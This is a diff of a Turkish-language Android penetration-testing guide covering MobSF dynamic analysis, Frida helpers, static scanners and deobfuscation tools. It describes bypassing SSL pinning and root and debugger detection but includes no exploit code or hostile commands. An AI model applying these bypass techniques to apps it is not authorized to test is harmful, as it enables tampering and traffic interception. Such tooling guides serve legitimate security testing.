MobSF ayrıca **diff/Compare** analizine ve **VirusTotal** entegrasyonuna olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasına ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Ayrıca `VT_UPLOAD`'ı `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**.
|
||||
|
||||
### MobSF ile Yardımlı Dinamik Analiz
|
||||
|
||||
@ -545,32 +549,32 @@ MobSF ayrıca **diff/karşılaştırma** analizi yapmanıza ve **VirusTotal** il
|
||||
- **HTTPS trafiğini yakalama**
|
||||
- **Çalışma zamanı** **bilgilerini** elde etmek için **Frida** kullanma
|
||||
|
||||
Android **sürümleri > 5**'ten itibaren, **Frida**'yı **otomatik olarak başlatacak** ve trafiği **yakalamak** için global **proxy** ayarlarını ayarlayacaktır. Sadece test edilen uygulamadan gelen trafiği yakalayacaktır.
|
||||
Android **sürümleri > 5** için, **Frida**'yı **otomatik olarak başlatacak** ve trafiği **yakalamak** için global **proxy** ayarlarını ayarlayacaktır. Sadece test edilen uygulamadan gelen trafiği yakalayacaktır.
|
||||
|
||||
**Frida**
|
||||
|
||||
Varsayılan olarak, SSL pinning, **root tespiti** ve **hata ayıklayıcı tespiti** atlamak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
|
||||
Varsayılan olarak, **SSL pinning**'i, **root tespiti** ve **hata ayıklayıcı tespiti** atlamak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
|
||||
MobSF ayrıca **dışa aktarılan etkinlikleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**.
|
||||
|
||||
Dinamik testi **başlatmak** için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen günlükleri görmek için "**Frida Live Logs**" butonuna basın ve bağlı yöntemlere yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" butonuna basın (bu, "Start Instrumentation" butonuna bastıktan sonra görünecektir).\
|
||||
MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize olanak tanır (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Ayrıca yükleyebileceğiniz **birçok önceden yazılmış script** vardır (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), sadece **seçin**, "**Load**" butonuna basın ve "**Start Instrumentation**" butonuna basın (o script'lerin günlüklerini "**Frida Live Logs**" içinde görebileceksiniz).
|
||||
MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize olanak tanır (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Ayrıca yükleyebileceğiniz **birçok önceden yazılmış script** vardır (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), sadece **seçin**, "**Load**" butonuna basın ve "**Start Instrumentation**" butonuna basın (bu script'lerin günlüklerini "**Frida Live Logs**" içinde görebileceksiniz).
|
||||
|
||||
.png>)
|
||||
|
||||
Ayrıca, bazı Yardımcı Frida işlevsellikleriniz var:
|
||||
|
||||
- **Yüklenen Sınıfları Sayma**: Yüklenen tüm sınıfları yazdırır
|
||||
- **Yüklenen Sınıfları Sayma**: Tüm yüklenen sınıfları yazdırır
|
||||
- **Dizeleri Yakalama**: Uygulamayı kullanırken tüm yakalanan dizeleri yazdırır (çok gürültülü)
|
||||
- **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun True veya False olup olmadığını **gösterir**.
|
||||
- **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") yazın ve sınıfın tüm yöntemlerini yazdırır.
|
||||
- **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** gösterecek ve sonucun True veya False olup olmadığını belirtecektir.
|
||||
- **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdıracaktır.
|
||||
- **Sınıf Deseni Arama**: Desene göre sınıfları arama
|
||||
- **Sınıf Yöntemlerini İzleme**: **Bütün bir sınıfı izleme** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görün). Varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
|
||||
- **Sınıf Yöntemlerini İzleme**: **Bütün bir sınıfı izleme** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görme). Unutmayın ki varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
|
||||
|
||||
Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Instrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz.
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf ayrıca dinamik analiz sayfasının altında bazı **adb** komutları, **MobSF komutları** ve yaygın **shell** **komutları** ile bir shell sunar. Bazı ilginç komutlar:
|
||||
MobSF ayrıca dinamik analiz sayfasının altında bazı **adb** komutları, **MobSF komutları** ve yaygın **shell** **komutları** ile bir shell sunar. Bazı ilginç komutlar:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -660,7 +664,7 @@ androbugs.exe -f [APK file]
|
||||
|
||||
Tespit, uygulamanın Dalvik bytecode'unun **statik analizi** ile gerçekleştirilir ve bu, **Smali** olarak temsil edilir; [`androguard`](https://github.com/androguard/androguard) kütüphanesi kullanılır.
|
||||
|
||||
Bu araç, aşağıdaki gibi **"kötü" uygulamaların yaygın davranışlarını** arar: Telefon kimliklerinin sızdırılması, Ses/görüntü akışının kesilmesi, PIM verilerinin değiştirilmesi, Rastgele kod yürütme...
|
||||
Bu araç, aşağıdaki gibi **"kötü" uygulamaların yaygın davranışlarını** arar: Telefon kimliklerinin sızdırılması, Ses/video akışının kesilmesi, PIM verilerinin değiştirilmesi, Rastgele kod yürütme...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -668,7 +672,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA**, **M**obil **A**pp Uygulaması **R**everse engineering ve **A**naliz Çerçevesidir. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir.
|
||||
**MARA**, **M**obil **A**pp Uygulaması **R**everse mühendislik ve **A**naliz Çerçevesidir. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama ters mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir.
|
||||
|
||||
Şunları yapabilir:
|
||||
|
||||
@ -677,7 +681,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
- APK'den özel bilgileri regex kullanarak çıkarmak.
|
||||
- Manifest'i analiz etmek.
|
||||
- Bulunan alan adlarını analiz etmek için: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- APK'yi [apk-deguard.com](http://www.apk-deguard.com) aracılığıyla deobfuscate etmek
|
||||
- APK'yi [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek
|
||||
|
||||
### Koodous
|
||||
|
||||
@ -689,49 +693,49 @@ Kodu obfuscate etmek için kullandığınız hizmet ve yapılandırmaya bağlı
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
[Wikipedia'dan](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**, Java kodunu küçülten, optimize eden ve obfuscate eden açık kaynaklı bir komut satırı aracıdır. Bytecode'u optimize etmenin yanı sıra kullanılmayan talimatları tespit edip kaldırabilir. ProGuard, ücretsiz bir yazılımdır ve GNU Genel Kamu Lisansı, sürüm 2 altında dağıtılmaktadır.
|
||||
[Wikipedia'dan](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**, Java kodunu küçülten, optimize eden ve obfuscate eden açık kaynaklı bir komut satırı aracıdır. Bytecode'u optimize edebilir ve kullanılmayan talimatları tespit edip kaldırabilir. ProGuard, ücretsiz bir yazılımdır ve GNU Genel Kamu Lisansı, sürüm 2 altında dağıtılmaktadır.
|
||||
|
||||
ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama yayın modunda derlenirken çalışır.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
APK'yi deobfuscate etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) adresinde bulabilirsiniz.
|
||||
APK'yi deşifre etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) adresinde bulabilirsiniz.
|
||||
|
||||
(Bu kılavuzdan) Son kontrol ettiğimizde, Dexguard çalışma modu şuydu:
|
||||
(Bu kılavuzdan) En son kontrol ettiğimizde, Dexguard çalışma modu şuydu:
|
||||
|
||||
- Bir kaynağı InputStream olarak yüklemek;
|
||||
- Sonucu deşifre etmek için FilterInputStream'den türetilen bir sınıfa beslemek;
|
||||
- Bir tersine mühendislik uzmanının birkaç dakikasını boşa harcamak için gereksiz obfuscation yapmak;
|
||||
- Deşifre edilmiş sonucu bir ZipInputStream'e beslemek ve bir DEX dosyası almak;
|
||||
- Son olarak, elde edilen DEX'i `loadDex` yöntemi kullanarak bir Kaynak olarak yüklemek.
|
||||
- Son olarak, `loadDex` yöntemi kullanarak elde edilen DEX'i bir Kaynak olarak yüklemek.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard, Android obfuscation araçları tarafından gerçekleştirilen obfuscation sürecini tersine çevirir. Bu, kod incelemesi ve kütüphaneleri tahmin etme gibi birçok güvenlik analizini mümkün kılar.**
|
||||
**DeGuard, Android obfuscation araçları tarafından gerçekleştirilen obfuscation sürecini tersine çevirir. Bu, kod denetimi ve kütüphaneleri tahmin etme gibi birçok güvenlik analizini mümkün kılar.**
|
||||
|
||||
Obfuscate edilmiş bir APK'yı platformlarına yükleyebilirsiniz.
|
||||
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
Bu, Android uygulamalarındaki potansiyel güvenlik açıklarını bulmak ve Android uygulama kodunu deobfuscate etmek için bir LLM aracıdır. Google'ın Gemini kamu API'sini kullanır.
|
||||
Bu, Android uygulamalarındaki potansiyel güvenlik açıklarını bulmak ve Android uygulama kodunu deşifre etmek için bir LLM aracıdır. Google'ın Gemini kamu API'sini kullanır.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanallaştırarak çalıştırır** ve davranışını anlamaya çalışır, ardından **kodun optimize edilmesini** sağlar, böylece aynı şekilde davranır ancak bir insanın anlaması daha kolaydır. Her optimizasyon türü basit ve genel olduğundan, kullanılan obfuscation türü önemli değildir.
|
||||
Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanallaştırarak çalıştırır** ve davranışını anlamaya çalışır, ardından **kodun optimize edilmesini** sağlar, böylece aynı şekilde davranır ancak bir insanın anlaması daha kolaydır. Her optimizasyon türü basit ve genel olduğundan, kullanılan obfuscation türü ne olursa olsun önemli değildir.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD, **bir APK'nın nasıl yapıldığını** size bildirir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir.
|
||||
APKiD, **bir APK'nın nasıl yapıldığını** hakkında bilgi verir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir.
|
||||
|
||||
### Manual
|
||||
|
||||
[Özel obfuscation'ı nasıl tersine çevireceğinizi öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md)
|
||||
[Özel obfuscation'ı nasıl tersine mühendislik yapacağınızı öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b, ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir ve tersine mühendislik ve kötü amaçlı yazılım analizi için farklı güvenlik uzmanları ve araştırmacılardan en son çerçeve, eğitim ve laboratuvar koleksiyonunu içerir.
|
||||
AndroL4b, ters mühendislik ve kötü amaçlı yazılım analizi için farklı güvenlik uzmanları ve araştırmacılardan en son çerçeve, eğitimler ve laboratuvarları içeren ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir.
|
||||
|
||||
## References
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user